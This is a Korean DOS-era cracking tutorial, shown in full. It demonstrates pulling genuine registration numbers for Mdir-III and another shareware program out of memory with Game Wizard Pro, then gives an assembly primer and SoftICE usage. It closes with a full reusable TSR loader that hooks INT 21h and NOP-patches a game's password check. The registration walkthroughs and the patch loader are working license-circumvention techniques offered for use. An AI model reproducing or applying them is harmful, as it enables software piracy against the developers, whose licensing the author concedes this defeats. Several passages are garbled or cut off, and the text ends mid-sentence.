이번에는 "게임 위자드 프로"를 이용한 암호 크랙에 적극적으로 나서보겠습니다.

Mdir-III 아시죠? 통신상에서는 쉐어웨어로 되어있습니다.
등록하면 정식버전을 사용할 수 있게 되어 있습니다.
여러분께 가장 쉬운 암호 크랙 기술을 알려주는데 이보다 더 좋은 학습 예제는 없다고
보기에 부득이하게 M(이하 Mdir-iii )을 크랙하겠습니다.
이 방법만 습득하면 웬만한 크랙은 다 깰수 있을 겁니다.
국산 프로그램은 가급적 정식 등록해서 쓰시는게 좋습니다. 특히 M 같은거는요.~~좋습니다.
저도 프로그래머의 한 사람으로서 몇몇 S/W를 라이센스로 판매하고 있는데,
여러분이 정식 사용해 주시는게 더 좋은 프로그램이 나오고 공개용 판도 많이 나와
여러분께 훨씬 이득입니다.

자, 그럼 시작하겠습니다.

우선  " 게임 위자드 프로"를 설치하고  램상주 시킵니다.
그냥 간단히 GW.EXE 를 실행하면 설치가 되죠.

그다음,  통신에서 받은 M 을 하드에 설치하십시요.
처음에 받은 M 은 기능이 제약되어 있습니다.
정식 등록번호를 입력해야만 합니다.
자신을 정식등록자로 등록해보죠.

게임 위자드 프로는  추적방식이 해당 화면에서 호출해서 추적/에디트하는게 근간입니다.
어찌보면 상당히 쉽고 효율적인 방법이죠.
물론 단점도 있겠지만..........

M이 설치되어 있는 디렉토리를 보면 MAKE-REG.EXE 가 있습니다.
이것을 실행시켜보죠.
그럼 한글의 자기이름과 등록번호 비밀번호를 차례로 입력하라고 나옵니다.
먼저 한글로 이름을 입력하라고 나오면 자기 이름을 씀니다
그다음 영어로 이름을 입력하라고 나오면 그대로 하십시요.

* 여기부터 중요한데 등록번호를 입력하라고 나옵니다
  그럼 여기서 COMPUTER 이라고 대문자로 보기 쉬운 문자를 임의로
  입력합니다.

그다음 비밀번호를 입력하라고 나옵니다 그러면 00000000을 입력하세요.

이렇게 하는 이유는 쉽게 알아보기 위한 것입니다.
물론 이렇게 안하고 다른 문자,숫자들을 이용할 수 도 있습니다.


모든 상황을 다 입력하면 우리가 입력한 등록번호가 진짜가 아니므로 다시입력하라는
메세지가 뜹니다.

바로 이때!!!!     `   를 눌러 위자드를 부릅니다.

그러면 위자드의 메인 메뉴가 보일겁니다.
여기서 4번의 edit memory contents로 들어가시면 마치 pctool의 edit 와 같은 메뉴가 보입니다.
여기서 S(SEARCH)를 누릅니다.
그러면 두개의 칸이 아래에 보입니다.
여기서 TAB을 눌러 ASCII에서 처음의 가짜 등록번호인 COMPUTER을 입력합니다.
이렇케하는 이유는 전에 HWP 암호 크랙에서 말했듯이 처음 입력한 가짜 등록번호와
진짜 등록번호와의 비교루틴을 찾는과정 입니다
결국 비교할려면 내가 입력한 가짜 등록번호의 주위에 진짜 등록번호가 있어야 된다는얘기입니다

그러므로  이상태에서 PAGE UP/DOWN 키를 이용해서 살펴보면 진짜 등록번호가 똑똑히
보입니다.
그럼 그걸 잽싸게 적습니다.
그다음 빠져나와서 make-reg.exe 실행후 이름.등록번호.비번을 입력하여 정식등록자처럼 사용이 가
능합니다
여기서 우리는 M이 어떤 원리로 등록번호를 만들어 내는지 알수 있을겁니다.
우리가 등록한 이름,등록번호,암호 등을 이용하여 어떤 일정한 순서에 입각하여 암호화된
실제 등록번호를 만들어 내는것이죠.

지금 말한 M 크랙은 아주 쉽고 응용 가능성이 많습니다.

다른걸 한번 볼까요?

다음은 위자드를 이용해 "푸른물"을  해킹하는 법입니다.
M가 방법은 똑같습니다.

등록번호 입력시 허위로 아무거나 찾기 쉬운걸 입력하면 틀렸다고 나옵니다.

거기서 ` 를 눌러 호출하고 S로 처음 가짜 등록번호를 추적하면 6자리 숫자로
등록번호가 나옵니다.

이걸 적은후 빠져나와 정식 등록번호를 입력하면 됩니다.

제가 위자드를 이용해 본 결과   무모하게 되나 안되나 봤던 HWP는 역시 안되더군요.
HWP는 암호화 기법으로 암호를 감추어서 그렇습니다.
하지만 보통 S/W는 이런 식으로 어렵게 만들지 않으니 다 깨집니다.
제가 제작한 프로그램의 암호도 이걸로 처참히 깨지더군요.
다른것도 마찬가지 입니다.
암호화기법을 사용하지 않을경우 여기에 거의 다 걸립니다.
암튼 게임 위자드 프로는 크랙에 아무것도 모르는 초보자도 쉽게 쓸 수 있고 막강합니다.
부지런히 연습하세요.

다음 시간부터 다룰 디버거,소프트 아이스를 위해서 어셈에 대해 좀더 언급하겠습니다.
여기 수록된 내용은 제가 판단컨데 정말 아주 쉽습니다!!
초보자들은 반드시 보셔야 할겁니다.


팁. 어셈블리 보충.

 어셈블리의 필요성

   1.컴퓨터를 보다 깊게 이해하고 보다 잘 사용하기 위해
   2.고속 연산 루틴을 작성하기 위해
   3.다른 언어를 깊이 알기 위해
   4.고급언어에서 할 수 없는 조작을 하기 위해

기계어: 수치로 기술된 명령
      (CPU 는 수치로 기술된 명령밖에 이해 할 수 없다)

어셈블리 언어: 기게어 대신에 인간에게 알기 쉬운 표기법을
             사용하여 표현한 언어
    (수치에 의한 명령과 1:1 로 대응하고 있다.)

어셈블: 어셈블리 언어로 작성된 문자열을 기계어로 변환하는 작업

어셈블러:어셈블을 자동적으로 수행하기 위해 만들어진 프로그램.

의사명령:직접 기계어로 번역되지는 않지만 번역할 때 참조되는 명령

어셈블의 기본 순서

   1. 프로그램의 설계
   2. EDLIN 등의 에디터에 의한 편집
       ( 소스화일의 작성: SAMPLE.ASM )
   3.MASM 에 의한 어셈블
       (오브젝트 화일   : SAMPLE.OBJ )
   4.LINK에 의한 링크
       (실행화일        :SAMPLE.EXE  )


링커의 역할

   ---프로그램의 모듈별 개발을 가능하게 하기 위하여
      (하나의 프로그램을 개발할 때 몇 부분으로 나누어 개발한후
       이것을 각각 어셈블 한후브젝트 화일을 하나의 라이브러리로 정리해둘 수 있다
.
     3.라이브러리에 오브젝트 화일을 추가, 발췌,삭제 할 수 있다.

디버거의 역할

     프로그램에 버그가 있는 경우  프로그램을 조금씩 실행시키면서
    레지스터나 메모리의 내용을 살피며 bug 를 잡을 때 이용


어셈블리의 일반적인유형

    LI:       MOV          AX,                   BX   ;COMMENT

    라벨 : OP코드     제1오퍼렌드 ,       제2오퍼렌드 ;설명문

                         ______________________

                             <-- 조작의 방향

라벨

   명령행 중 제일 처음에 놓인다.
   필요에 따라 붙이는 것으로 안 붙여도 상관 없다.
   라벨의 다음에 작동 코드가 올때  : 을 사용해 구별한다.
   위의 LI 가 이에 해당 한다.

OP 코드
   OP 코드 ---명령의 종류
   오퍼랜드--- OP코드에 따
 조작  대상
   제 2 오퍼랜드로부터 제1 오퍼랜드의 방향으로 조작이 이루어 진다.
   위에서 BX 레지스터의 내용이 AX 레지스터에 전송 ( MOV ) 된다.

설명문

    필요에 따라 붙이며 오퍼렌드와의 사이에 세미콜론(;)을 둔다.

* 라벨과 설명문을 각각 다른 행에 써도 된다.

     LI:
                MOV  AX, BX
      ;COMMENT

* 어셈블리의 사용법

   다음의 예제를 에디터로 똑 같이 작성 한 후 MOV1.ASM 으로 세이브 시키자


MAIN    SEGMENT
        ASSUME  CS:MAIN
;
        MOV     DL,41H
        MOV     AH,2
        INT     21H
     LENAME  [    .ASM]: MOV1    리턴
OBJECT FILENAME  [MOV1.OBJ]:   리턴
SOURCE LISTING   [NUL.LST]: MOV1 리턴
CROSS  REFERENCE [NUL.CRF]: MOV1 리턴

C: MASM >

오브젝트 화일

    어셈블의 결과 출력되는 기계어의 중간 형태

소스 리스팅

    소스화일과 어셈블의 결과 출력된 기게어를 대응시킨 리스트 화일
  변수이름등의 번지에 대한 일람표나  에러가 있다면 에러메시지도
  포함하여 기록한다.

크로스 리퍼런스

     라벨이나 변수이름이 어디서 정의 되어 어디에서 참조되고
 있는가를 리스트 하는 화일 입니다. 이화일은 그대로 볼 수없고
 CREF를 이용해 화일을 변환시킨 후 본다.



                        MOV 명령과 문자 출력

 전송 명령의 3가지 형

     1.레지스터에 수치를 대입한다.
     2.레지스터와 레지스터 사이에서 데이터를 전송한다.
     3.레지스터와 메모리 사이에서 데이터를 전송한다.

  우선 레지스터와 수치를 대입하는 방법과 레지스터간의 메모리
전송에 관해서 설명합니다.

* 화면에 AB를 표시하는 프로그램

1:
2:   MAIN    SEGMENT
3:        ASSUME  CS:MAIN
4:    ;
5:         MOV     DL,41H
6:         MOV     AH,2
7:         INT     21H
8:         MOV     DL,'B'
9:         MOV     BL,2
10:        MOV     AH,BL
11:        INT     21H
12:   ;
13:        MOV     AH,4CH
14:        INT     21H
15:   ;
16:  MAIN    ENDS
17:        END
18:

소스 리스트(SOURCE LIST)의 형식(FORMAT)

MAIN SEGMENT

   이것은 "MAIN"이라는 이름의 세그먼트가 할당되는 프로그램의 시작
이다 라는 선언문입니다.
   이 의사명령은 16번째 줄의

MAIN ENDS

와 짝이 되고 있어서 이 두문장 안에 들어간 부분이 "MAIN"이라는 세않습니다.)

3 번째 줄의 의사명령

    ASSUME    CS:MAIN

은  어셈블러가 어셈블을 할 때 "코드 세그먼트(CS:)을 참조하는 명령이
있다면 ,MAIN 이라는 이름의 세그먼트를 참조하라"는 선언을 하는 문장입
니다. 따라서 ASSUME 문장은 4개 세그먼트 (CS,DS,SS,ES)와 세그먼트
이름을 대응시키는 선언문입니다.
  코드 세그㎱ 세그먼트와 대응하고 있는가를 표시해야할
필요가 있읍니다.

17 번째 줄의  의사명령

  END

  는  어셈블러 소스 리스트의 끝을 나타내며 프로 그램의 끝에  END
            본문

   [MAIN]   ENDS
            END



MOV 명령의 사용법

  - MOV는 MOVE 의 약자입니다.
  - MOV DL,41H   ; DL 레지스터에 16진수 41H를 대입하라는 명령입니다.
    * 특별히 표시하지 않는 한 수치는 10진수로 취급됩니다.
      16진수임을 나타낼 때에는 숫자 뒤에 "H"를 붙여 표시합니다.
  -수치가 알파벳으로 시작될때는 선두에 "0"을 붙이도록 약속하고
   있읍니다.
       16진수 4A   -->   4AH
       16진수 C7   -->  0C7H

 시스템 호출과 입출력

      INT       21H

  인터럽트 명령: 강제 적으로 CPU 가 하던 일을 중지 시키고 끼어들기
               (인터럽트)를 발생시키는 것입니다. 시스템 호출의 목적으로
                사용되고 있읍니다.
  시스템 호출 :OS 내에 미리 준비하여 만들어 놓아둔 입출력등을 위한
              서브루틴을 호출하는 것입니다.

   21H번의 인터럽트는 MS-DOS 에 의한  입출력 등의 시스템 호출에
 사용되고 있읍니다.

  -키보드로 부터 한문자를 입력하라는 명령은
        MOV      AH,1
        INT      21H
  -디스플레이에 1문자를 표시하라는 명령은
        MOV     AH,2
        INT     21H

 인터럽트 명령의 갯수에 한정이 있기 때문에  여러종류의 입출력에 하나
하나 입출력을 할당할 수는 없읍니다.
 그래서 MS-DOS 에서는 INT 21H 를 주로 입출력으로 사용하기로 하고  그
중 서브 커멘드를 AH 레지스터에 넣어 시스템을 호출 하는 방법을 쓰고
있읍니다.
  이프로그램의 경우 1문자 표시 루틴을 호출한 것인데 표시해야 할
데이터는 미리 DL 레지스터에 넣어 두어야 합니다. 이 프로그램에서는 DL
레지스터에 41H 가 대입되어 있으므로 1문자 표시 루틴에서는 아스키 코드
 41H에 대응하는 문자 "A"가 화면에 표시 됩니다.

  MOV DL,  'B'

이와 같이 문자를 인용부호로 애워싼 것은 그믄자에 상응하는 아스키 코드
가 쓰여진 것으로 간주 합니다.

  MOV DL, '1'

  DL 레지스터에 "1"이라는 문자에 상응 하는 아스키 코드 31H 가 대입됩니다

MOV BL,2
MOV AH,BH

에 의해 BL 레지스터에 2가 대입되고 그 내용이 AH레지스터에 전송되므로
두레지스터의 내용은 2가지정됩니다.
레지스터 간의 전송은 두레지스터의 크기가 같아야 합니다.

   MOV  AH ,BX    ; BX는 16비트 레지스터 AH는 8비트 레지스터
                    그러므로 틀린 예입니다.

프로그램을 끝마치는 방법

  MOV  AH,4CH
  INT 21H

이 명령에 의해 MS-DOS  의 시스템 호출(SYSTEM CALL)인 4CH 번째의 루틴을
호출되는데 ,실은 이것은 특수한 명령어로서 실행중의 프로그램을 끝마치고
OS 레벨로 되돌아 가기 위한 명령입니다.

아주 간단하고 기초적인 부분의 어셈 내용입니다.
참조하십시요.



18회 강좌입니다.

이번 강좌 시간에는 무척 유명하고 중용한  소프트아이스 를 다룹니다.
내용이 좀 깁니다.
2회로 나누어도 될 분량입니다.

소-아는 위자드보다 물론 훨씬 더 어렵지요.
이것만 마스터하면 여러분은 진짜 달인이 되는것입니다.
어셈을 전혀 모르는 초보자들이 보시기에 다로 어려울지 모르니
어셈 기초서적 한권쯤 꺼내놓고 찾아보시는것도 좋을듯 싶습니다.
소-아는 도스용과 윈도우 용이 있죠. 윈도우 용이 쓰기엔 더 좋습니다.
이 둘다 제가 제공했습니다. 설치하시고 써보시기 바랍니다.
우선 소프트 아이스에서 실제 행한 사례중 일부는 깨끗이 정리된게 있어서
인용하였습니다.

2.  소프트아이스

1) 설치
이것은 386SX이상에서만 사용하지만, 기능이 아주 좋다.
Protected Mode에서 동작하며, DOS를 virtual mode로 사용하며,
사용되는 기능은 DOS나 BIOS를 사용하지 않으므로 Real mode를
사용하는 모든 OS의 debug가 가능합니다.  예를 들면 DOS의 boot
과정의 debug, device driver의 debug등 입니다.  그리고 다양한 break
point 설정등으로 기존의 debug, symdeb, codeview등을 이용하는
것보다 편리하며, 이들의 보조 debug로도 사용가능하다..  특히
이들을 사용하다 PC가 다운되는 경우에도 사용가능하다..
만일 extended memory가 있고, soft ICE를 device driver로 install한 경우 source
level의 debug도 가능하고, DOS에서 command로 올린경우 extended memory가  있으면 640KB의
메인메모리를 단 1byte도 사용하지 않고 ram 상주로 사용가능하다.

그런데,
소프트 아이스를 램 상주시키게 되면 기본메모리가 대부분 500K 대로 떨어지게 되죠?

다음과 같이 하시면 간단히 해결됩니다.
config.sys
에서
himem.sys 를 로드 시키기 전에
소아를 로드 시키세요
그러면,
기본메모리 620K 정도에서 소아를 상주시켜 놓고
작업을 할 수 있습니다.

1. device driver로 설치할경우 config.sys에 device=s-ice.exe 만 넣고, source level debug가 필요
한 경우 device=s-ice.exe /sym 512 와 같이하면 extended memory 512KB를 source와 symbol을
위한 영역영으로 확보하라는 의미이다.
s-ice 화면에서 '?'를 하면 help가 표시되므로 참조 바란다.

 s-ice.exe와 s-ice.dat는 같은 directory에 있어야 하고, 'path=...'에 등록되어 있으면 편리하다.
그리고 's-ice/?<return>을 하면 몇개의 option을 볼수 있고,
hotkey는 'Control-D'이나 s-ice의 'altkey'명령으로 변경가능하다.


2) 창에 관한 명령들

처음 소프트아이스가 실행이 되면 "초기명령"에 따라서 창이 떠있다.
그 창들을 켜고 끄고 또는 줄이는 명령에 관한 것들이다.
창을 줄이고 늘리고 하는 명령어도 있지만  그런 사소한것은 별로 사용을 하지 않는 것이니 그냥
넘어가겠다.

    wc ------ 코드윈도 토글
    wd ------ 데이터윈도 토글
    wr ------ 래지스터윈도 토글
 ------------------------------------------------------------------------------

    ec ------ 코드윈도와 명령윈도의 커서 스위칭
    rs ------ 현재의 실행 화면과 디버그화면의 스위칭

3) 트레이싱에 사용되는 명령들

    T ------- 싱글스텝 트레이싱
        터버디버그에서 F7과 같다.
        도스의 디버그에서도 T는 싱글스텝 트레이싱이었다.
        소프트아이스도 마찬가지이다.

    P ------- 스텝 트레이싱
        터버디버그에서 F8과 같다
        도스의 디버그에서도 P는 스텝 트레이싱 명령이었다.

 ------------------------------------------------------------------------------

    HERE ---- 커서위치까지 트레이싱
        터버디버그에서 F4과 같다.

    G,X ----- 실행
        터버디버그의 F9와 같다
        도스의 디버그에서도 G는 실행이었다.


4) 브레이크 포인터
    bpx ----- int03h를 이용한 브레이크포인트
        터버디버그의 F2와 같은 기능하다.
 ------------------------------------------------------------------------------

        현재의 커서 위지체 int03h를 삽입해서 브레이크하는 명령이다.

    bpmw ---- 메모리 브레이크포인터
        메모리의 읽기/쓰기/실행시에 브레이크하는 명령이다.

         ex> bpmt 1234:5678 rw
            1234:5678의 메모리가 읽기나 쓰기가 이루어지면 브레이크된다.

    bpint --- 인터럽트 브레이크포인터
        선택된 인터럽트가 걸릴경우 브레이크한다.

        ex> bpint 21 ax=3d00
            int21h의 3d00h가 발생하면 브레이크가 된다.
 ------------------------------------------------------------------------------

5) 브레이크 포인터 제어명령
    bl ------ 브레이크 포인터 리스트
        현재설정되어 잇는 브레이크포인터를 보여준다.
    bc ------ 브레이크 포인터 클리어
        설정된 브레이크 포인터를 지운다.

        ex> bc *
            모든 브레이크 포인터를 지운다.

    bd ------ 브레이크 포인터 불가능
        설정되어 있는 브레이크포인터를 잠시 불가능하게 한다.

        ex> bd 1
 ------------------------------------------------------------------------------

            1번 브레이크 포인터를 불가능하게함

    be ------ 브레이크 포인터 가능
        bd로 불가능하게 된 브레이크 포인터를 가능하게 한다.

        ex> be *
            모든 브레이크 포인터를 가능하게한다.

6) 기능키설정
    소프트아이스에서는 평션키를 자신의 취향(?)대로 설정할수 있는
    아주 편리한 기능을 제공한다.
    s-ice.dat라는 화일에 그 키들을 설정할수 있다.
    형식은 [키이름 = "^명령어;...;...;"]으로 하면 된다.
 ------------------------------------------------------------------------------

    만약 F2키를 bpx로 설정한다면
        F2 = "^bpx;"이라고 하면 된다.

    아래는 터버디버그와 비슷한 키들로 설정한 예이다.

    F1 = "?;"
    F2 = "^BPX;"
    F3 = "^TRACE *;"
    F4 = "^HERE;"
    F5 = "^RS;"
    F6 = "^EC;"
    F7 = "^T;"
    F8 = "^P;"
 ------------------------------------------------------------------------------
    F9 = "^G;"
    F10 = ""
    F11 = ""
    F12 = ""
    Init ="WIN;WC 20;WD;WR;WATCHV ON;EC;X;"

    마지막의 Init는 소프트아이스가 실행되자마자 실행되는 명령어이다.
    이것역시 자신이 원하는대로 하면 된다.

7) 소프트아이스의 로드 유틸리티

    소프트아이스는 램상주 프로그램이기때문에 핫키인 ctrl-d를
    누르기전에는 실행되지 않습니다

------------------------------------------------------------------------------
    그래서 프로그램의 로드와 동시에 ctrl-d를 누르거나 아니면
    int 21h/4bh를 추적해서 프로그램의 처음을 찾거나 하는
    방법이 있겠지만 이 두가지 방법 모두 좋은 방법이 아니다.
    그래서 소프트 아이스에서는 ldr.exe라는 유틸이 있다.
    이 프로그램은 화일을 메모리에 적제하고 엔트리포인트에서
    자동으로 멈추게 해주는 아주 좋은 유틸이다.

8) 소프트아이스의 장단점
    소프트아이스는 어떤한 디버그 보다 막강하고 강력하고
    편리한 기능을 제공한다.
    그리고 메모리확보차원에서도 어떤 디버그보다 유리하다.
 ------------------------------------------------------------------------------
    하지만 이런 소프트아이스도 단점이 있다.
    UMB,HMB를 사용못한다는 점이 그것이다
    안타깝지만 소프트아이스로 msdos6.0에서 최대로 확보 할 수 있는
    기본메모리는 580kb이다.
   여기서 expand메모리의 사용을 위해서 emm을 띄운다면 더 작아져서 510kb정도로 줄어들어버
   리게 된다.

    게임이나 다른 도스 프로그램의 실행을 위해서 이정도면
    충분하다고 생각하지만 간혹.. 기본메모리부족으로 프로그램의
    실행이 안되는 경우도 있다.
 ------------------------------------------------------------------------------

A. 소프트 아이스의 활용
1.한글윈도 3.1 의 win.com을 패치하자.
한글윈도를 쓰면서 영문도스를 사용하는 사용자라면 늘 귀찮은 메세지를 볼것이다.

그것은 win.com이 실행될때 [주의]메세지이다.

Warning: For correct execution of DOS Box in Hangeul Windows 3.1,
You should use Hangeul Windows 3.1 standard HBIOS.
Warning: Your DOS is not compatible with Hangeul MS-DOS. You may have
some problems when you use Hangeul Windows 3.1.

Press any key to continue...

이 메세지후에 늘 키를 눌러야 했다.

소프트아이스를 이용해서 패치해보자.
Win.com가 키를 받아들일때 어떤 도스인터럽트를 사용할까?

위 메세지가 나온후에 키를 치면 그 키는 보이지 않는다.

그럼 도스의 인터럽트중에 echo되지 않는 키입력일것이다.

그리고 더해서 위 메세지전에 키를 눌러도 소용이 없다.

그럼 flush기능도 있는 인터럽트일것이다.


int 21h/0ch를 이용해서 int 21h/08h를 실행하는것이다.

소프트아이스로 추적을 해보면,


우선 ldr로 win.com화일을 적재한다.


커맨드 라인에 bpint 21 ax=0c08이라고 친다.


그리고 g로 실행하면 메세지가 나온뒤에 바로 정지한다.

그 인터럽트의 위치를 파악해서 diskedit나 다른 섹터에디터로

고치면된다.


이제는 win.com의 메세지는 볼수있겠지만 적어도 키를 누르지 않고 바로 자동(?)으로 지나가게

되었다.

이런것은 단순히 소프트아이스의 bpint라는 브레이크 포인터를 이용해서 간단히 끝내버린 경우다.

하지만 중요한것은 보통의 게임 프로그램은 이렇게 diskedit로 고칠수 없다는 점이다.


왜냐하면 게임들은 어마어마한 용량때문에 자체압축을 사용하기 때문이다.




B. 인터럽트를 이용한 메모리수정


간단한 메모리 수정소스 이다.

이 소스에서는 exec평션과 인터럽트훅 뿐 든것이 없다.


EQU로 선언된 HOOKINT,SUBINT,INT_CS,INT_IP,LOCK_CS,LOCK_IP들과

데이터로 선언된 old_codes와 new_codes만 변형한다면

게속해서 범용으로 사용하실수 있는 소스이다.



                .MODEL  TINY


HOOKINT         EQU     21h

SUBINT          EQU     3fh


INT_CS          EQU     204dh

INT_IP          EQU     1290h

LOCK_CS         EQU     1663h

LOCK_IP         EQU     0fcch


STSIZE          EQU     4*1024

SIZEPARA        EQU     (Tail-Start+STSIZE+0100h)/16+1

ENVIRON         EQU     2ch

FCB1            EQU     5ch

FCB2            EQU     6ch

CMD             EQU     80h


                .CODE

                ORG     100h

Start:

                jmp     Begin


NewInt          proc    near


                push    bp

                mov     bp,sp

                push    ax

                push    bx

                push    cx

                push    dx

                push    si

                push    di

                push    Ds

                push    Es


                cmp     ah,SUBINT

                jnz     NewIntOut


                mov     ax,Cs

                mov     Ds,ax


                mov     bx,word ptr Ss:[bp+2]

                cmp     bx,INT_IP

                jnz     NewIntOut


                mov     bx,Word ptr Ss:[bp+4]

                add     bx,LOCK_CS-INT_CS

                mov     Es,bx

                mov     si,offset old_codes

                mov     di,LOCK_IP

                mov     cx,old_codes_end-old_codes

                cld

                repe    cmpsb

                jnz     NewIntOut


                mov     di,LOCK_IP

                mov     si,offset new_codes

                mov     cx,new_codes_end-new_codes

                rep     movsb


                mov     ax,Cs

                mov     Es,ax

                                     si,offset Jumper

                mov     di,offset NewInt

                mov     cx,JumperEnd-Jumper

                cli

                rep     movsb

                sti

NewIntOut:

                pop     Es

                pop     Ds

                pop     di

                pop     si

                pop     dx

                pop     cx

                pop     bx

                pop     ax

                pop     bp

Jumper:

                jmp     Cs:oldint

JumperEnd       label   byte


NewInt          endp



Begin:

                mov     sp,offset Tail+STSIZE


                mov     ah,4ah

                mov     bx,SIZEPARA

                int     21h


                mov     ax,3500h+HOOKINT

                int     21h


                mov     Word ptr oldint[0],bx

                mov     Word ptr oldint[2],Es


                mov     ax,2500h+HOOKINT

                mov     dx,offset NewInt

                int     21h


                mov     Word ptr oldstack[0],sp

                mov     Word ptr oldstack[2],Ss


                mov     ax,Ds:[ENVIRON]

                mov     execpara_envir,ax

                mov     ax,Cs

                mov     Word ptr execpara_cmd[0],ax

                mov     Word ptr execpara_cmd[2],cmd

                mov     Word ptr execpara_fcb1[0],ax

                mov     Word ptr execpara_fcb1[2],fcb1

                mov     Word ptr execpara_fcb2[0],ax

                mov     Word ptr execpara_fcb2[2],fcb2

                mov     ax,Cs

                mov     Es,ax

                mov     bx,offset execpara

                mov     dx,offset filename

                mov     ax,4b00h

                int     21h


                mov     ax,Cs

                mov     Ds,ax


                cli

                mov     sp,Word ptr oldstack[0]

                mov     Ss,Word ptr oldstack[2]

                sti


                lds     dx,oldint

                mov     ax,2500h+HOOKINT

                int     21h


                mov     ax,4c00h

                int     21h



execpara        label   byte

execpara_envir  dw      0

execpara_cmd    dd      0

execpara_fcb1   dd      0

execpara_fcb2   dd      0


oldint          dd      0

oldstack        dd      0

filename        db      'install.exe',0


old_codes       DB      0e8h,0afh,14h

                DB      59h

                DB      0ah,0c0h

                DB      74h,0eh

old_codes_end   label   byte


new_codes       DB      0e8h,0afh,14h

                DB      59h

                DB      0ah,0c0h

                DB      0ebh,0eh

new_codes_end   label   byte


Tail            label   byte


                END     Start


메모리수정작업


다음은 게임 프로그램인테 이름은 "SpeedBall II" 이다.

아뭏튼 상관없이 "메모리수정"으로 크랙을 하겠다.

프로그램을 실행하면 로고화면이  지나고 "PLEASE ENTER PASSWORD"라는

메세지와 함께 그래픽화면에 만들어진 커서가 깜빡깜빡하고 있다.

그럼 여기서부터 소프트아이스로 들어가겠다.


핫키(CTRL-D)를 누르면,

핫키를 어느시점에서 눌렀는가에 따라서 언제나 소프트아이스가

뜨는 CS:IP는 다르다.


아래는 크랙을 하는데 트레이싱을 해서 경유한 루틴을 하나도

빠짐없이 나열한것이다.

앞부분에 키보드입력 루틴을 찾는것은 생략했다.


세그먼트는 램환경에 따라 다를것이니 XXXX로 모두 대치한다.


XXXX:029B   JZ      027E

            XOR     AX

            INT     16H

            CMP     AL,0D

            JZ      02ED       >컋컋컋컋컋컋컋컋껦

            .

            .

            .


XXXX:02ED   .

            .

            ADD     AX,[091E]

            .

            .

            RET


XXXX:023F   MOV     BX,AX

            .

            .

            .

XXXX:02ED   ADD     SI,AX

            CMP     BX,[SI+041C]

            JNZ     01FD

            CALL    [92BA]

            RET

XXXX:0153   CALL    01EB

            MOV     WORD PTR [93F6],0

            .

            .

            .



여기서 ㈀루틴에서 ㈁루틴으로 넘오는 경로인 ⑴번 점프는

INT 16H/00H호출후 CMP AL,0D로 작동하는 것이니 내부루프가 없는

키입력으로 ENTER를 입력받는 것을 알것이다.

F8을 이용한 트레이싱만으로는 ㈀루틴을 반복할뿐이다.


㈁루틴으로 가서 F4를 누릅니다. 이렇게 해야지만 트레이싱당하는

프로그램쪽으로 키입력을 할수 있다.

그렇게해서 ENTER를 누르면 지정한 곳에 소프트아이스가 다시 뜨게된다.


㈁루틴에서는 벌써 RET이 아래에 보일것이다.

이것으로 이 루틴이 끝인것을 알수 있다.

RET앞쪽에는 ENTER를 누르기전에 입력된 루틴들의 값들이

어떻게 처리되었나를 볼수 있다.

C언어로 짜여졌으니 리턴값은 AX래지스터로 전달된다.


㈁루틴의 리턴으로 ㈂루틴에 오게되었다.

오자마자 리턴값이 저장된 AX를 BX에 저장을 하고 어떤 연산과정을

거친다음에 SI래지스터에 전달하여 BX값과 비교를 하게된다.

리턴값으로 작업을 하는것으로도 암호비교루틴을 가능성이 높고

또 암호를 입력한후에 첫 비교문이라는 것도 암호비교루틴일

가능성을 더욱 높혀준다.

그럼 JNZ 1FD명령을 불가능하게 해보도록하자.

NOP로 채우던지 75XX라는 7500으로 고쳐도 된다.


그 바로 아래루틴은 화면을 사라지게 (정확히 말하면 파렛트값을

조정하는 것이지만) 하는 루틴이다.


즉! 암호를 맞춘것과 같다는 것이 된다.


여기서 우린 트레이싱을 멈추고 그 루틴을 고치는 메모리수정

프로그램을 만들어도 된다.

하지만 이곳을 고치게되면 크랙을 만들어도 암호를 묻는 화면을

늘 보야하고 ENTER도 늘 쳐야한다.


㈂루틴의 RET으로 ㈃루틴으로 왔다.

소프트아이스로 한칸위의 CALL 01EB라는 루틴이 있다.

우린 지금가지 이 루틴속을 게속 트레이싱하고 있던것이다.

다시 말해서 CALL 01EB만 없어진다면 우린 암호를 묻는것 그자체도

없앨수 있다는 말이되는것이다.

이젠 우린 암호를 입력하는 루틴의 주소를 알았다.

그럼 CALL 01EB의 코드와 세그멘트와 업셋값을 준비한 적어놓는다.

락의 위치를 찾은 우리가 해야할일은 이제 메모리수정에 쓸 인터럽트를

찾는일이다.

제일 좋고 괜찮은 인터럽트는 INT 21H/3DH 이다.(오픈 인터럽트)

그럼 다시 컴퓨터를 부팅해서 아까와 100%똑같은 메모리환경으로

SB2.EXE화일의 트레이싱에 들어가기전에 SOFT-ICE에서 블레이크포인터를

BPINT 21 AH=3D라고 설정한다.

그런후에 SB2.EXE를 실행한다.


여기서 걸릴것이다.


XXXX:9F19   INT     21

XXXX:9F1B   .

            .



9F19H에서 브레이크하자.

이것이 자체압축프로그램으로 각각의 루틴들을 따로

로드한다면 실제로 지금 정지한 시간에서 뒤쪽 암호루틴이

존재하지 않을 가능성이 있다.

그럴경우는 이 작업을 반복한다.

하지만 UXXXX:0153한다면 CALL 01EB라는 루틴이 존재한다.

아마도 이 게임은 자체압축을 쓰지 않거나 암호루틴을 빨리

메모리에 풀어서 올려놓거나 하는 둘중에 하나일것이다.


메모리에 암호루틴이 존재하는 것이 확인된다면 또 하나 적을 것이 있다.

그것은 INT 21H가 발생한 후의 주소값이다.

XXXX:9F1B가 되는거죠. 세그먼트값도  적어야한다.


아래와 같이 적혀 있을것이다.


(1) XXXX:0153

(2) EB 95 00

(3) yyyy:9F1B


아래에 보여졌던  "메모리수정" 소스에


INT_CS      EQU     xxxxh

INT_IP      EQU     0153h


LOCK_CS     EQU     yyyyh

LOCK_IP     EQU     9f1bh


old_code    DB      0ebh,95h,0


new_code    DB      90h,90h,90h


filename    DB      "sb2.exe",0


소스의 부분을 위와같이 고치게 된다면 크랙이 완성이 된것이다.

new_code               ALL루틴에 대치될 값들이다.


압축기법이나 암호화 기법을 사용하는 일부 락들은 MCB와 PSP 그리고

환경블럭순으로 자신의 모프로세서를 확인하므로써 자신이

COMMAND.COM이후에 1차프로세서가 아닐경우 락부분을 성공적으로

크랙을 해도 불가능한 경우가 있다.

이 경우는 그 부분까지 메모리수정으로 패치를 해버리던지 아니면

실제적으로 그 락을 COMMAND.COM이후의 1차프로세서로 하는

방법이 있다.

전자의 경우는 아래의 범용크랙소스에 추가 작업을 하면 해결될것이다.

하지만 이렇게 추가작업을 할경우 범용으로써의 기능이 없어지게되는 점이 불편하다.

결국 그런 락들의 크랙은 두부분의 패치를 위해서 작지만 새로운 루틴이

